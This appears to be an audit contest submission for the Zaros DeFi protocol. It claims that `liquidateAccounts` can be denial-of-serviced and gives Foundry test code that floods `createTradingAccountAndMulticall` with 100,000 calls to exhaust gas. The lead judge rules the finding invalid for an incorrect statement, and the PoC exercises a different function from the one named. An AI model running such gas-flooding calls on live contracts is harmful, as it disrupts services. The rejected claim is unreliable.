Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

`liquidateAccounts` is vulnerable to be DOSed by malicious actors

mansa11

Summary

liquidateAccounts meant to be called by the Offchain keepers only, currently lacks access control mechanism, hence could be called by anyone. This opens up a room for DOS attack as malicious actors could provide a very lengthy array of accountsIds.

Vulnerability Details

Ideally the function is meant to be called by the Offchain keepers who passes in the accountsIds into the function and then iterates over each element in order to determine which accounts is liquidatable.

However, Malicious actors could provide very lengthy array of accountsIds leading to unbounded loop iterations and out of gas issues.
When malicious actors supply a very lengthy amount of data, they could exhaust the block gas limit and technically DOS the Offchain keepers who are said to be Chainlink Automation compatible contract or allowlisted EOA that has the permission of liquidating.

Impact

  • DOS and gas grifing: The offChain keepers could be DOSed by malicious actors by exceeding the block gas limit.

  • Service Disruption: function could be called by anyone, although there no economic benefit for this.

  • Increased Costs: Repeatedly encountering out-of-gas errors can increase costs for offChain keepers, as they have to pay for failed transactions.

POC

function test_GasConsumptionWithVaryingDataArraySizes() external {
uint256[] memory sizes = new uint256[](5);
sizes[0] = 10;
sizes[1] = 100;
sizes[2] = 1000;
sizes[3] = 10000;
sizes[4] = 100000; // Large number to cause out-of-gas error
​
for (uint256 j = 0; j < sizes.length; j++) {
bytes[] memory data = new bytes[](sizes[j]);
for (uint256 i = 0; i < sizes[j]; i++) {
data[i] = abi.encodeWithSelector(TradingAccountBranch.depositMargin.selector, address(usdc), uint256(1));
}
​
uint256 gasStart = gasleft();
try perpsEngine.createTradingAccountAndMulticall(data, bytes(""), false) {
uint256 gasUsed = gasStart - gasleft();
emit log_named_uint("Gas used for data array size:", sizes[j]);
emit log_named_uint("Gas used :", gasUsed);
} catch (bytes memory reason) {
uint256 gasUsed = gasStart - gasleft();
emit log_named_uint("Gas used for data array size (failed):", sizes[j]);
emit log_named_uint("Gas used (failed):", gasUsed);
emit log_named_bytes("Revert reason :", reason);
}
}
}
​
function test_DosAttackUsingLargeDataArray2() external {
// Set up a very large data array
uint256 largeArraySize = 100000; // Large number to cause out-of-gas error
bytes[] memory data = new bytes[](largeArraySize);
for (uint256 i = 0; i < largeArraySize; i++) {
data[i] = abi.encodeWithSelector(TradingAccountBranch.depositMargin.selector, address(usdc), uint256(1));
}
​
// Expecting out-of-gas error due to large data array
try perpsEngine.createTradingAccountAndMulticall(data, bytes(""), false) {
// Should not reach here
assertTrue(false, "Expected out-of-gas error, but function succeeded");
} catch (bytes memory reason) {
// Ensure the error is due to out-of-gas
assertTrue(keccak256(reason) == keccak256(""), "Expected out-of-gas error");
}
}

Tools Used

Manual Review

Recommendations

Add access control mechanisms to the function and since the offChain keepers are said to be trusted, there should be no need to check for large input data

Updates

Lead Judging Commences

inallhonesty Lead Judge
11 months ago
inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.